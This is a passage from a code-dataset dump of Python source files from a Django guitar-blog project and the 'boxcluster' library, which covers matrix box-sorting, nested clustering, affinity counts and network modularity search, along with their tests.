repo_name stringlengths 6 97 | path stringlengths 3 341 | text stringlengths 8 1.02M |
|---|---|---|
guoshijiang/we_guitar | common/testcase.py | <filename>common/testcase.py
import logging
from django.conf import settings
from django.test import TestCase, TransactionTestCase
class _BaseTestDatabaseDescriptor:
def __get__(self, instance, cls=None):
return set(settings.DATABASES.keys())
class BaseTestCase(TestCase):
databases = _BaseTestDatabaseDescriptor()
def setUp(self):
logging.disable(logging.WARNING)
def tearDown(self):
logging.disable(logging.NOTSET)
|
guoshijiang/we_guitar | blog/helper.py | import re
def judge_pc_or_mobile(ua):
factor = ua
is_mobile = False
_long_matches = r'googlebot-mobile|android|avantgo|blackberry|blazer|elaine|hiptop|ip(hone|od)|kindle|midp|mmp' \
r'|mobile|o2|opera mini|palm( os)?|pda|plucker|pocket|psp|smartphone|symbian|treo|up\.(browser|link)' \
r'|vodafone|wap|windows ce; (iemobile|ppc)|xiino|maemo|fennec'
_long_matches = re.compile(_long_matches, re.IGNORECASE)
_short_matches = r'1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)' \
r'|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)' \
r'|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw' \
r'|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8' \
r'|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit' \
r'|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)' \
r'|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji' \
r'|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx' \
r'|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi' \
r'|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)' \
r'|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg' \
r'|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21' \
r'|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-' \
r'|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it' \
r'|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)' \
r'|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)' \
r'|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit' \
r'|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-'
_short_matches = re.compile(_short_matches, re.IGNORECASE)
if _long_matches.search(factor) != None:
is_mobile = True
user_agent = factor[0:4]
if _short_matches.search(user_agent) != None:
is_mobile = True
return is_mobile |
guoshijiang/we_guitar | common/models.py | <filename>common/models.py<gh_stars>1-10
import uuid
from django.db import models
class BaseModel(models.Model):
uuid = models.CharField(max_length=100, blank=True, unique=True, null=True)
created_at = models.DateTimeField(
auto_now_add=True,
db_index=True
)
updated_at = models.DateTimeField(
auto_now=True,
db_index=True
)
class Meta:
abstract = True
@property
def UUID(self):
return uuid.UUID(hex=self.uuid)
def generate_uuid(self):
self.uuid = uuid.uuid4().hex
def save(self, *args, **kw):
if not self.uuid:
self.generate_uuid()
return super(BaseModel, self).save(*args, **kw)
|
guoshijiang/we_guitar | we_guitar/urls.py | <reponame>guoshijiang/we_guitar
#encoding=utf-8
from django.contrib import admin
from django.urls import path, re_path, include
from django.conf import settings
from django.conf.urls.static import static
from django.views.static import serve
urlpatterns = [
path('admin/', admin.site.urls),
path('', include('blog.urls')),
path('ueditor/', include('DjangoUeditor.urls')),
re_path('^media/(?P<path>.*)$', serve, {'document_root': settings.MEDIA_ROOT}),
] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
|
peterwinter/boxcluster | test_mod.py | <filename>test_mod.py
import pytest
from .mod import Modules, BaseModules, SimpleModules
@pytest.fixture()
def basemod():
bm = BaseModules()
bm.nodes
bm.mods
bm.fitness = 5.0
return
# this was mainly copied from test_boxlist. not properly adjusted
class aTestBaseModules:
""" tests for basic properties of a BasicBoxList"""
def test_getitem(self, baseboxlist):
"""should behave like list inside"""
l = baseboxlist.boxes.copy()
n = len(l)
for i in range(n):
assert baseboxlist[i] == l[i]
for i, b in enumerate(baseboxlist):
assert b == l[i]
def test_setitem(self, baseboxlist):
"""should set items into list"""
baseboxlist[0] = 2
print(baseboxlist)
assert baseboxlist[0] == 2
def test_del(self, baseboxlist):
"""should delete item like list"""
l = baseboxlist.boxes.copy()
del baseboxlist[1]
del l[1]
assert baseboxlist[0] == l[0]
assert baseboxlist[1] == l[1]
def test_len(self, baseboxlist):
"""should say len of internal list"""
l = baseboxlist.boxes
assert len(l) == len(baseboxlist)
def test_copy_identical_contents(self, baseboxlist):
"""should say len of internal list"""
box1 = baseboxlist
box2 = baseboxlist.copy()
assert type(box1) == type(box2)
for i, b in enumerate(box1):
assert b == box2[i]
assert box1.fitness == box2.fitness
def test_copy_seperate_pointers(self, baseboxlist):
"""should say len of internal list"""
box1 = baseboxlist
box2 = baseboxlist.copy()
del box1[0]
assert len(box1) == len(box2) - 1
box1.fitness += 1
assert box1.fitness != box2.fitness
# TODO: add in this method
def test_insert(self, baseboxlist):
baseboxlist
# TODO: add in this method
def test_items(self, baseboxlist):
pass
|
peterwinter/boxcluster | test_boxsort.py | <reponame>peterwinter/boxcluster
import numpy as np
from .boxsort import BoxSort
from .fake_data import generate_nested_data
import random
def basic_block_array(shape=(10, 10)):
a = np.ones(shape=shape)
a[:5, :5] = 0
a[5:, 5:] = 0
return a
# def test_SortingAlgorithmReorder():
# a = basic_block_array()
# sa = SortingAlgorithm(a)
# new_order = [0, 1, 2, 3, 5, 4, 6, 7, 8, 9]
# test_soln = a[:, new_order][new_order, :]
# test_result = sa.reorder(order=new_order)
# assert (test_soln == test_result).all()
# def test_SortingAlgorithm_SmartReorder():
# a = basic_block_array()
# sa = SortingAlgorithm(a)
# new_order = [0, 1, 2, 3, 5, 4, 6, 7, 8, 9]
# test_soln = a[:, new_order][new_order, :]
# matrix_range = [4, 5]
# order = [5, 4]
# test_result = sa.smart_reorder(order=order, matrix_range=matrix_range)
# assert (test_soln == test_result).all()
# def test_BoxSort():
# test_solution = generate_nested_data(noise=0.00001)
# n = len(test_solution)
# order = np.arange(n)
# random.shuffle(order)
# test = test_solution[:, order][order, :]
# sas = BoxSort(test)
# ds_result, ds_order = sas()
# sqerror_mat = (ds_result - test_solution)**2
# sqerror = sqerror_mat.sum()
# assert sqerror < 0.001
# def test_HierSort():
# test_solution = generate_nested_data(noise=0.00001)
# n = len(test_solution)
# order = np.arange(n)
# random.shuffle(order)
# test = test_solution[:, order][order, :]
# hcs = HierarchicalClustering(test)
# ds_result, ds_order = hcs()
# sqerror_mat = (ds_result - test_solution)**2
# sqerror = sqerror_mat.sum()
# assert sqerror < 0.001
# Test. determine_size()
# size >= 1
# size <= self.matrix_size
# size is integer... random sample 100 times.
|
peterwinter/boxcluster | affinity.py | <filename>affinity.py
import numpy as np
from itertools import count
import pandas as pd
class AffinityMatrix(object):
def __init__(self):
self.count_df = None
self.order = None
self.trials = 0
def initialize_counts(self, clust_series):
order = clust_series.index
N = len(clust_series)
return pd.DataFrame(np.zeros(shape=(N,N), dtype=float), index=order, columns=order)
def add_stuff(self, cseries):
assert isinstance(cseries, pd.Series)
if self.count_df is None:
count_df = self.initialize_counts(clust_series=cseries)
else:
count_df = self.count_df
for clust_id in cseries.unique():
clust_items = cseries[cseries==clust_id].index
count_df.loc[clust_items, clust_items] += 1
self.count_df = count_df
return count_df
def affinity(self):
return self.count_df / self.trials
|
peterwinter/boxcluster | __init__.py | <filename>__init__.py
from .boxsort import BoxSort
from .boxlist import BoxList
from .boxcut import BoxCut
from .nested_cutter import Nested
|
peterwinter/boxcluster | fake_data.py | import numpy as np
# import pandas as pd
# def symmetrize(a):
# return a + a.T - numpy.diag(a.diagonal())
def generate_nested_data(size=64, noise=0.05):
"""generate some data for testing the algorithm"""
tiny_size = int(size / 16)
quad_size = int(size / 4)
half_size = int(size / 2)
a = np.zeros((size, size))
for i in range(size):
for j in range(size):
if i == j:
a[i, j] = 1.
elif i > j:
a[i, j] = a[j, i]
else:
if int(i / tiny_size) == int(j / tiny_size):
a[i, j] = np.random.normal(0.6, noise)
elif int(i / quad_size) == int(j / quad_size):
a[i, j] = np.random.normal(0.5, noise)
elif int(i / half_size) == int(j / half_size):
a[i, j] = np.random.normal(0.4, noise)
else:
a[i, j] = np.random.normal(0.3, noise)
# df = pd.DataFrame(a)
# print('test key generated')
# df.to_csv('test_key.csv')
return a
# if __name__ == '__main__':
# data = generate_test_data()
# # file_name = sys.argv[1]
# # data = [map(float, line.strip().split()) \
# # for line in open(file_name)]
# c = ClusterMatrix(data)
# (data, order) = c.deep_sort(
# cooling_factor=0.96, verbose=True, finishing_criterion=3)
# with open('result.txt', 'w') as result:
# for n in order:
# print(n, file=result)
|
peterwinter/boxcluster | nested_cutter.py | <gh_stars>1-10
import numpy as np
from . import BoxCut
from . import BoxList
from collections import namedtuple, deque
Branch = namedtuple('branch', ('begin', 'end', 'depth'))
class Nested(BoxCut):
def bic(self, unique_points, likelihood, dof):
# k = n_parameters
n_parameters = (2 * dof + 1)
a = unique_points * np.log(likelihood / unique_points)
b = n_parameters * np.log(unique_points)
return a + b
def extend_todo(self, boxes, depth=0, begin=0):
for start, end in boxes.items():
branch = Branch(start+begin, end+begin, depth)
# print(branch)
if end - start > 3:
self.todo_que.append(branch)
else:
self.done_que.append(branch)
def extend_done(self, boxes, depth=0, begin=0):
for start, end in boxes.items():
branch = Branch(start+begin, end+begin, depth)
self.done_que.append(branch)
def bic_of_boxes(self, boxes):
n = boxes[-1]
unique_points = (n**2 - n) / 2.
# N = number of samples
box_bic = self.bic(unique_points=unique_points,
likelihood=boxes.fitness,
dof=len(boxes))
return box_bic
def split_is_happening(self, unity, partition):
union_fitness = unity.fitness
split_fitness = partition.fitness
# bic_union = union_fitness
# bic_partitioned = split_fitness
# TODO: adding this in messes with accuracy!
bic_union = self.bic_of_boxes(unity)
bic_partitioned = self.bic_of_boxes(partition)
# print('union', bic_union)
# print('partitioned', bic_partitioned)
# print(bic_partitioned < bic_union)
# print()
return bic_partitioned < bic_union
def run(self):
""" recursive BoxClustering Algorithm """
matrix = self.orig
N = len(matrix)
self.N = N
# populate que
self.todo_que = deque([])
self.done_que = []
unity = BoxList([N])
self.extend_todo(boxes=unity)
self.extend_done(boxes=unity)
while len(self.todo_que):
branch = self.todo_que.popleft()
begin, end = branch.begin, branch.end
depth = branch.depth + 1
submatrix = matrix[begin:end, :][:, begin:end]
# no further splitting
unity = BoxList([len(submatrix)])
self._evaluate_box_fitness(unity, submatrix)
# best further split
partition, _ = self.fit_boxes(matrix=submatrix)
# best wins.
if self.split_is_happening(unity, partition):
choice = partition
self.extend_todo(boxes=partition, depth=depth, begin=begin)
else:
choice = unity
self.extend_done(boxes=choice, depth=depth, begin=begin)
choice = BoxList([i + begin for i in choice])
depths = {}
for b in self.done_que:
if b.depth not in depths:
depths[b.depth] = []
depths[b.depth].append(b.end)
hboxes = []
previous = set([])
for depth, boxes in depths.items():
current = set(boxes)
current = current.union(previous)
hbox = BoxList(sorted(current))
# print(hbox)
# hboxes[depth] = hbox
hboxes.append(hbox)
previous = current
self.hboxes = hboxes
return hboxes[-1]
# df = pd.DataFrame(self.done_que)
# self.df = df
# df2 = self.make_cluster_df(df)
# self.df2 = df2
# self.hboxes = self.make_hboxes(df2)
# def make_cluster_df(self, df):
# begin = 0
# end = df['end'].max()
# max_depth = df['depth'].max()
# print(begin, end, max_depth)
# df2 = pd.DataFrame(index=range(begin, end), columns=(0, max_depth+1))
# for i, row in df.iterrows():
# df2.loc[range(row.begin, row.end), row.depth] = int(i)
# df2 = df2[[int(i) for i in range(0, max_depth+1)]]
# df3 = df2.T.fillna(method='ffill')
# df2 = df3.T
# return df2
# def make_hboxes(self, df2):
# b = {}
# cols = sorted(set(df2.columns))
# print(cols)
# for col in cols:
# boxes_list = []
# print(col)
# for i in set(df2[col]):
# d = df2.loc[df2[col] == i, col].index
# if len(d):
# boxes_list.append(d[-1] + 1)
# if self.N not in boxes_list:
# boxes_list.append(self.N)
# boxes_list = sorted(boxes_list)
# hboxes = BoxList(boxes_list)
# b[col] = hboxes
# return b
|
peterwinter/boxcluster | test_boxlist.py | import pytest
from .boxlist import BaseBoxList, BoxList
boxtypes = [
BaseBoxList(boxes=[4, 8, 16], fitness=13.2),
BoxList(boxes=[1, 4, 16], fitness=3.2)
]
# add parameters later
@pytest.fixture(scope='function',
params=boxtypes,
ids=['BaseBoxList', 'BoxList'])
def baseboxlist(request):
# yield smtp # provide the fixture value
return request.param
class TestBaseBoxListProperties:
""" tests for basic properties of a BasicBoxList"""
def test_getitem(self, baseboxlist):
"""should behave like list inside"""
l = baseboxlist.boxes.copy()
n = len(l)
for i in range(n):
assert baseboxlist[i] == l[i]
for i, b in enumerate(baseboxlist):
assert b == l[i]
def test_setitem(self, baseboxlist):
"""should set items into list"""
baseboxlist[0] = 2
print(baseboxlist)
assert baseboxlist[0] == 2
def test_del(self, baseboxlist):
"""should delete item like list"""
l = baseboxlist.boxes.copy()
del baseboxlist[1]
del l[1]
assert baseboxlist[0] == l[0]
assert baseboxlist[1] == l[1]
def test_len(self, baseboxlist):
"""should say len of internal list"""
l = baseboxlist.boxes
assert len(l) == len(baseboxlist)
def test_copy_identical_contents(self, baseboxlist):
"""should say len of internal list"""
box1 = baseboxlist
box2 = baseboxlist.copy()
assert type(box1) == type(box2)
for i, b in enumerate(box1):
assert b == box2[i]
assert box1.fitness == box2.fitness
def test_copy_seperate_pointers(self, baseboxlist):
"""should say len of internal list"""
box1 = baseboxlist
box2 = baseboxlist.copy()
del box1[0]
assert len(box1) == len(box2) - 1
box1.fitness += 1
assert box1.fitness != box2.fitness
# TODO: add in this method
def test_insert(self, baseboxlist):
baseboxlist
# TODO: add in this method
def test_items(self, baseboxlist):
pass
class TestBaseBoxInteractions:
""" test interactions between BasicBoxList """
a = BaseBoxList([2, 7, 16], fitness=4.3)
b = BaseBoxList([1, 8, 16], fitness=10.1)
b2 = BaseBoxList([1, 8, 16], fitness=10.1)
def test_lt(self):
assert self.a < self.b
assert not self.b < self.b2
assert not self.b < self.a
def test_le(self):
assert self.a <= self.b
assert self.b <= self.b2
assert not self.b <= self.a
def test_eq(self):
assert not self.a == self.b
assert self.b == self.b2
assert not self.b == self.a
def test_ne(self):
assert self.a != self.b
assert not self.b != self.b2
assert self.b != self.a
def test_gt(self):
assert not self.a > self.b
assert not self.b > self.b2
assert self.b > self.a
def test_ge(self):
assert not self.a >= self.b
assert self.b >= self.b2
assert self.b >= self.a
@pytest.fixture()
def boxlist1(request):
return BoxList(boxes=[1, 4, 5], fitness=10.5)
class TestBoxListMoves:
def check_integrity(self, boxlist):
""" values must be ordered integers. no duplicates."""
values = sorted(set(boxlist))
assert len(values) == len(boxlist)
for i, j in zip(values, boxlist):
assert i == j
assert type(i) == int
def boxes_equal(b1, b2):
return set(b1) == set(b2)
def test_determine_takeover_size(self, boxlist1):
for i in range(1, 10):
s = boxlist1._determine_takeover_size(limit=i)
assert s >= 1
assert s <= i
def test_right_join(self, boxlist1):
b = boxlist1.copy()
# middle. shift first box over by 1
out1 = b.right_join(box_pos=0, size=1)
self.check_integrity(out1)
assert set(out1) == set([2, 4, 5])
# middle. shift first box over by 2
out2 = b.right_join(box_pos=0, size=2)
self.check_integrity(out2)
assert set(out2) == set([3, 4, 5])
# edgecase. box1 and 2 completely merge.
out3 = b.right_join(box_pos=0, size=3)
self.check_integrity(out3)
assert set(out3) == set([4, 5])
def test_nonsense_joins(self, boxlist1):
""" """
b = boxlist1.copy()
# b = BoxList(boxes=[1, 4, 5], fitness=10.5)
assert b.left_join(box_pos=0) is None
assert b.right_join(box_pos=2) is None
def test_left_join(self, boxlist1):
b = boxlist1.copy()
# edgecase. eliminate lowest box
out0 = b.left_join(box_pos=1, size=1)
self.check_integrity(out0)
assert set(out0) == set([4, 5])
# midcase. move middle 1
out1 = b.left_join(box_pos=2, size=1)
self.check_integrity(out1)
assert set(out1) == set([1, 3, 5])
# midcase. move middle 2
out2 = b.left_join(box_pos=2, size=2)
self.check_integrity(out2)
assert set(out2) == set([1, 2, 5])
# edgecase. eliminate middle box
out3 = b.left_join(box_pos=2, size=3)
self.check_integrity(out3)
assert set(out3) == set([1, 5])
def test_split(self, boxlist1):
b = boxlist1.copy()
# invalid. box is already size 1
out0 = b.split(box_pos=0)
assert out0 is None
# midbox split.
out1 = b.split(box_pos=1, size=1)
print(out1)
self.check_integrity(out1)
assert set(out1) == set([1, 3, 4, 5])
# midbox split.
out2 = b.split(box_pos=1, size=2)
print(out2)
self.check_integrity(out2)
assert set(out2) == set([1, 2, 4, 5])
# invalid. box is already size 1
out3 = b.split(box_pos=2)
assert out3 is None
# TODO: make sure that joins and split proposals do not change
# original boxlist
# def test_boxmove_copy(self):
# hey
# TODO: add this stuff in.
# def to_matrix(self)
# def from_matrix(cls, matrix)
|
peterwinter/boxcluster | boxorder.py | <reponame>peterwinter/boxcluster
from collections import namedtuple
import numpy as np
import random
import math
from .mixins import FitnessEqualitiesMixin
class BaseFitMatrix(FitnessEqualitiesMixin):
""" basic class functionality """
def __init__(self, matrix, fitness=np.inf, order=None, weights=None):
self.matrix = matrix
self.n = len(matrix)
self.fitness = fitness
if order is None:
order = np.arange(len(matrix), dtype=int)
self.order = order
if weights is None:
weights = self.make_weight_matrix()
self.weight_matrix = weights
self.calculate_fitness()
def make_weight_matrix(self):
weight_matrix = np.ones(shape=self.matrix.shape)
n = self.n
for i in range(n):
for j in range(n):
weight_matrix[i, j] -= abs(i - j) / n
return weight_matrix
def calculate_fitness(self):
"""returns the fitness of the matrix, which is the product of the
current adjacency matrix and the weight matrix"""
fitness = (self.matrix * self.weight_matrix).sum()
self.fitness = fitness
return fitness
def copy(self):
return self.__class__(matrix=self.matrix.copy(),
fitness=self.fitness,
order=self.order.copy(),
weights=self.weight_matrix)
def __len__(self):
return len(self.matrix)
def __repr__(self):
f = round(self.fitness, ndigits=2)
return 'Fit:{f} matrix: {m}'.format(f=f, m=self.matrix)
def inverse_order(self):
return np.argsort(self.order)
class BaseSortMatrix(BaseFitMatrix):
def origional_matrix(self):
inverse = self.inverse_order()
return self.matrix[inverse, :][:, inverse]
def reorder(self, order):
"""put the matrix in a new order"""
order = np.array(order)
self.matrix = self.matrix[order, :]
self.matrix = self.matrix[:, order]
self.order = self.order[order]
self.calculate_fitness()
return self.matrix
def smart_reorder(self, order, matrix_range):
"""reorder the matrix, but do it a faster way. most moves will only
affect a small fraction of the matrix, so there's no reason to move
most of the elements"""
matrix = self.matrix
# .copy()
cautious = True
if cautious:
msg = 'order and matrix range variables must contain same contents'
msg = '{msg}:{o}\n:{mr}'.format(msg=msg, o=order, mr=matrix_range)
assert set(order) == set(matrix_range), msg
start = matrix_range[0]
stop = matrix_range[-1] + 1
# sub_matrix = self.current_matrix[order, :]
sub_matrix = matrix[order, :]
matrix[start:stop, :] = sub_matrix
sub_matrix = matrix[:, order]
matrix[:, start:stop] = sub_matrix
self.calculate_fitness()
self.matrix = matrix
self.order[start:stop] = order
return matrix
def shuffle(self):
random_order = self.order
np.random.shuffle(random_order)
self.reorder(random_order)
class OrderedArray(BaseSortMatrix):
def determine_size(self):
"""size is random integer from pareto distribution"""
size = np.inf
while size >= self.n:
size = np.random.pareto(0.2)
size = int(math.ceil(size))
return size
def determine_positions(self, size):
# roll the dice for the location---the starting position of the slice
position = random.randrange(0, self.n - size)
# TODO: size should probably depend on the temp!
while 1:
new_pos = np.random.pareto(0.2)
new_pos = int(math.ceil(new_pos))
# random sign
if np.random.random() < 0.5:
new_pos = -new_pos
if 0 <= (position + new_pos) <= (self.n - size):
break
return position, new_pos
def propose_cuts(self, size, position, new_pos):
Cuts = namedtuple('cuts', ("lower_limit", "lower_cut", "pivot",
"upper_cut", "upper_limit"))
# the lowest and highest positions
lower_limit = 0
upper_limit = self.n
# the upper edge of the origional box is the center
# of movement for both up and down shifts.
pivot = position + size
if new_pos > 0:
lower_cut = position
upper_cut = position + size + new_pos
elif new_pos < 0:
lower_cut = position + new_pos
upper_cut = position + size
return Cuts(lower_limit, lower_cut, pivot, upper_cut, upper_limit)
def cuts_to_order(self, cuts):
# lower cut to pivot --> move right.
# move left <-- pivot to upper cut.
order = list(range(self.n))
a = order[cuts.lower_limit:cuts.lower_cut]
b = order[cuts.pivot:cuts.upper_cut]
c = order[cuts.lower_cut:cuts.pivot]
d = order[cuts.upper_cut:cuts.upper_limit]
new_order = a + b + c + d
return new_order
def cuts_to_sub_matrix_range(self, cuts):
sub_matrix_range = list(range(cuts.lower_cut, cuts.upper_cut))
return sub_matrix_range
def cuts_to_sub_order(self, cuts):
move_right = list(range(cuts.lower_cut, cuts.pivot))
move_left = list(range(cuts.pivot, cuts.upper_cut))
sub_order = move_left + move_right
return sub_order
def propose_move(self):
size = self.determine_size()
position, new_pos = self.determine_positions(size)
cuts = self.propose_cuts(size, position, new_pos)
new_order = self.cuts_to_order(cuts)
sub_matrix_range = self.cuts_to_sub_matrix_range(cuts)
sub_order = self.cuts_to_sub_order(cuts)
try:
new_matrix = self.smart_reorder(sub_order, sub_matrix_range)
except:
print(position, new_pos, size, self.n)
raise
return new_matrix, new_order
|
peterwinter/boxcluster | mixins.py | class FitnessEqualitiesMixin(object):
""" Mixin used by data objects with a fitness attribute """
def __lt__(self, other):
return self.fitness < other.fitness
def __le__(self, other):
return self.fitness <= other.fitness
def __eq__(self, other):
return self.fitness == other.fitness
def __ne__(self, other):
return self.fitness != other.fitness
def __gt__(self, other):
return self.fitness > other.fitness
def __ge__(self, other):
return self.fitness >= other.fitness
|
peterwinter/boxcluster | mod.py | import networkx as nx
import random
import numpy as np
import copy as cp
from collections import abc
from collections import OrderedDict
from .mixins import FitnessEqualitiesMixin
from collections import namedtuple
SingleMove = namedtuple('SingleMove', ('node', 'from_mod', 'to_mod'))
class BaseModules(abc.Iterable, FitnessEqualitiesMixin):
""" basic class functionality """
def __init__(self):
self.fitness = -np.inf
self.nodes = {}
self.mods = OrderedDict()
def __getitem__(self, node):
return self.nodes[node]
def __setitem__(self, node, mod):
try:
self.mods[mod] |= set([node])
except KeyError:
self.mods[mod] = set([node])
self.nodes[node] = mod
def __delitem__(self, node):
mod = self.nodes[node]
del self.nodes[node]
self.mods[mod] -= set([node])
def __len__(self):
return len(self.mods)
def __iter__(self):
for mod in self.mods.values():
yield list(mod)
def items(self):
for mod, nodes in self.mods.items():
yield mod, nodes
def __repr__(self):
f = round(self.fitness, ndigits=2)
m = [vals for vals in self.mods.values()]
return 'Fit:{f} modules: {b}'.format(f=f, b=m)
def insert(self, node, mod):
self.mods[mod] = node
self.nodes[node] = mod
class SimpleModules(BaseModules):
""" Add in next level of functionality"""
def __init__(self, modules=[], mods=None, nodes=None, fitness=-np.inf):
"""either pass in modules or mods and nodes """
self.fitness = fitness
if modules:
self.nodes = {}
self.mods = OrderedDict()
for (i, m) in enumerate(modules):
if not m:
continue
self.mods[i] = set(m)
for node in m:
self.nodes[node] = i
# add to set
elif mods is not None and nodes is not None:
self.mods = mods
self.nodes = nodes
def move_node(self, node, mod):
old_mod = self.nodes[node]
self.mods[old_mod] -= set([node])
if not self.mods[old_mod]:
del self.mods[old_mod]
self.reindex_mods()
self.__setitem__(node=node, mod=mod)
def reindex_mods(self):
# print('reindex')
new_mods = OrderedDict()
for i, (mod_key, mod) in enumerate(self.mods.items()):
new_mods[i] = mod
# need to reindex nodes too
if i != mod_key:
for m in mod:
self.nodes[m] = i
self.mods = new_mods
def copy(self):
mods = cp.deepcopy(self.mods)
nodes = cp.deepcopy(self.nodes)
return self.__class__(mods=mods, nodes=nodes, fitness=self.fitness)
def merge(self, mod1, mod2):
""" merges all nodes from mod2 into mod1 """
mod2_nodes = self.mods.pop(mod2)
self.mods[mod1] |= mod2_nodes
for node in mod2_nodes:
self.nodes[node] = mod1
self.reindex_mods()
def split_options(self):
split_choices = []
for i, mod_nodes in self.items():
if len(mod_nodes) > 1:
split_choices.append(i)
return split_choices
def split(self, mod, split_nodes):
assert isinstance(split_nodes, set)
mod_nodes = self.mods[mod]
# check that split is not full module
err = 'SplitError: split too large'
assert len(split_nodes) < len(mod_nodes), err
# check that all split nodes are contained in chosen_module
missing_nodes = split_nodes - mod_nodes
err = 'SplitError: {miss} nodes not in module {mod}'
assert len(missing_nodes) == 0, err.format(miss=missing_nodes, mod=mod)
# change self.mods to reflect split
self.mods[mod] = mod_nodes - split_nodes
new_mod = max(self.mod_list()) + 1
self.mods[new_mod] = split_nodes
# change self.nodes to reflect split
for node in split_nodes:
self[node] = new_mod
def mod_list(self):
return list(self.mods.keys())
class Modules(SimpleModules):
"""Add in high level module functions"""
# TODO: subgraphs is wonky
def subgraphs(self, G):
'''produces list of subgraphs where each subgraphs only contains
nodes from one module.'''
subgraphs = []
for mod in self:
# print(mod)
if mod:
m = list(mod)
sub = G.subgraph(m)
subgraphs.append(sub)
return subgraphs
def calculate_fitness(self, G, L):
M = 0
for mod in self:
l_s = len(G.subgraph(mod).edges())
d_s = sum(d for _, d in G.degree_iter(nbunch=mod))
M += (l_s / L) - (d_s / (2.0 * L))**2
self.fitness = M
return M
def move_random_single(self):
node_to_move = random.choice(list(self.nodes.keys()))
current_mod = self[node_to_move]
# print('node', node_to_move)
# print('current', current_mod)
list_of_module_indices = self.mod_list()
# print('mod inds', list_of_module_indices)
# print('mods', self.mods)
# print('nodes', self.nodes)
list_of_module_indices.remove(current_mod)
new_mod = random.choice(list_of_module_indices)
self.move_node(node=node_to_move, mod=new_mod)
def move_random_merge(self):
mods = self.mod_list()
if len(mods) >= 2:
mod1, mod2 = np.random.choice(mods, size=2, replace=False)
self.merge(mod1, mod2)
return True
else:
return False
def move_random_split(self):
split_options = self.split_options()
# if no splits possible
if not split_options:
return False
mod = np.random.choice(split_options)
mod_nodes = list(self.mods[mod])
mod_size = len(mod_nodes)
split_size = np.random.randint(low=1, high=mod_size)
split_nodes = np.random.choice(mod_nodes, size=split_size)
split_nodes = set(split_nodes)
self.split(mod=mod, split_nodes=split_nodes)
return True
@classmethod
def random_initialization(cls, G, L=None, num_modules=3):
all_nodes = G.nodes()
if L is None:
L = len(all_nodes)
partition = np.random.randint(num_modules, size=L, dtype=int)
nodes = {n: p for (n, p) in zip(all_nodes, partition)}
mods = OrderedDict()
for i in range(num_modules):
mod_nodes = np.array(all_nodes)[partition == i]
mods[i] = set(mod_nodes)
modules = cls(mods=mods, nodes=nodes)
modules.calculate_fitness(G, L=L)
return modules
|
peterwinter/boxcluster | modularity/NestedSA.py | import random
import copy
import math
from .base import modularity
from .base import BaseModularitySearch
limit = 25
# specifically for finding split moves
class ModularityNestedSA(BaseModularitySearch):
# unlike ModularitySA, this also contains global_net
def __init__(self, G, global_net, Ti=1.0, Tf=0.005, Ts=0.995, f=1, fac=0.10):
G = self.graph_check(G)
if G is None:
return None
self.G = G
self.global_net = global_net
self.Ti = Ti
self.Tf = Tf
self.Ts = Ts
self.initial = self.get_random_partition(G)
self.modules = copy.deepcopy(self.initial)
self.L = G.size()
self.S = len(G)
self.current_modularity = modularity(
self.get_subgraphs(self.modules), self.global_net, self.L)
self.f = f
self.fac = fac
num_nodes = len(G)
self.n_individual_moves = self.calc_individual_move_n(fac, num_nodes)
def anneal(self):
T = self.Ti
count = 0
while T > self.Tf and count <= limit:
old_modules = copy.deepcopy(self.modules)
move_modules = self.successor(T)
new_energy = self.cost(self.get_subgraphs(move_modules))
old_energy = self.cost(self.get_subgraphs(old_modules))
delta = new_energy - old_energy
if new_energy > old_energy:
self.modules = move_modules
self.current_modularity = new_energy
elif new_energy == old_energy:
count += 1
self.modules = old_modules
self.current_modularity = old_energy
else:
if random.random() <= math.exp(delta / T):
# print "accept with p:" + str(math.exp(delta/T))
self.modules = move_modules
self.current_modularity = new_energy
else:
self.modules = old_modules
self.current_modularity = old_energy
# print "T:" + str(T)
# print "new_energy:" + str(new_energy)
# print "old_energy:" + str(old_energy)
# print "change in energy:" + str(new_energy - old_energy)
T *= self.Ts
def value(self):
return self.cost(self.get_subgraphs(self.modules))
def cost(self, modules):
